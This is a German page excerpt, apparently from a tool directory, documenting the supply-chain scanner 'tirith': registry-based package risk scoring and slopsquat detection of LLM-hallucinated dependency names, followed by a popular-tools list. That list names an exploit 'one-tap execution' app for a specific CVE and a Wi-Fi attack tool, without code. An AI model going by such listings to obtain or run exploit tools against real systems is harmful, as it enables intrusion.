**`--online` fügt Registry-Provenienz hinzu.** Es konsultiert die Registry des Pakets (npm, PyPI oder crates.io) für sechs weitere Faktoren im *selben* Faktor-Summen-Modell: Paket-/Versionsalter, ein etabliertes Paket ohne Eigentümer, ein abnormaler Versionsanstieg, sehr wenige Downloads, ein fehlendes Quell-Repository und Yanked-/Deprecated-Status. Es ist der einzige Pfad, auf dem `package risk` selbst das Netzwerk erreicht; `tirith check` und der Daemon-Modus haben einen separaten, richtlinienkontrollierten Laufzeit-Anreicherungspfad. `--offline` / `TIRITH_OFFLINE` erzwingen diesen Scorer unabhängig davon offline. Bei Fehlern wird auf den Offline-Score mit einem ehrlichen `api signals: unavailable` zurückgefallen, und Antworten werden mit einer TTL zwischengespeichert, damit wiederholte Läufe die Registries nicht überlasten.

Der Score ist beratend und eigenständig: `package risk` ist keine Erkennungsregel und ändert kein Urteil, keinen Exit-Code und kein Audit-Log.

### Ökosystem-Scan und Abhängigkeitsrisiko

`tirith ecosystem scan [path]` ist der Begleiter auf Verzeichnisebene zu `package risk`. Er durchläuft ein Projekt, entdeckt jedes Abhängigkeitsmanifest, das er versteht, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), und bewertet **jede deklarierte Abhängigkeit** mit derselben deterministischen `package_risk`-Faktor-Engine.

```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report
```

**Es enthält Slopsquat-Erkennung.** *Slopsquatting* ist die Registrierung eines plausibel klingenden, aber gefälschten Namens, den LLMs dazu neigen, als Abhängigkeit zu halluzinieren. `ecosystem scan` meldet einen solchen nur dann, wenn **alle drei** Bedingungen zutreffen: Der Name ist nicht als echt bekannt oder populär, er ist **wie eine KI-Halluzination geformt** (ein Sprachpräfix wie `python-` / `node-` plus beschreibende Tokens, eine Anhäufung generischer Füllwörter wie `helper` / `utils` / `client` oder ein ungewöhnlich langer Name), **und** er liegt nahe an einem echten populären Namen (eine Near-Miss-Abweichung um eine Bearbeitung, oder er enthält einen populären Namen als Wort). Die Forderung aller drei Bedingungen hält die Falsch-Positiv-Rate niedrig: Ein ehrliches `data-utils` ohne populären Anker löst keine Meldung aus.

---

[Read more](https://github.com/sheeki03/tirith)
Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    906
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    725
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    442
  • 4

    wifit3

    derv82/wifit3

    Wifite, aber nur USB & plattformübergreifend.

    434
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer ist eine Open-Source-Plattform für Privileged Access Management (PAM), die DevOps- und IT-Teams bedarfsgesteuerten und sicheren Zugriff auf SSH-, RDP-, Kubernetes-, Datenbank- und RemoteApp-Endpunkte über einen Webbrowser bietet.

    412
  • 6

    SafeLine

    chaitin/safeline

    Selbst gehosteter WAF und Reverse Proxy, der bösartigen HTTP-Verkehr filtert, SQL-Injection, XSS und Bot-Angriffe blockiert, mit Ratenbegrenzung und dynamischer HTML/JS-Verschlüsselung.

    360

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →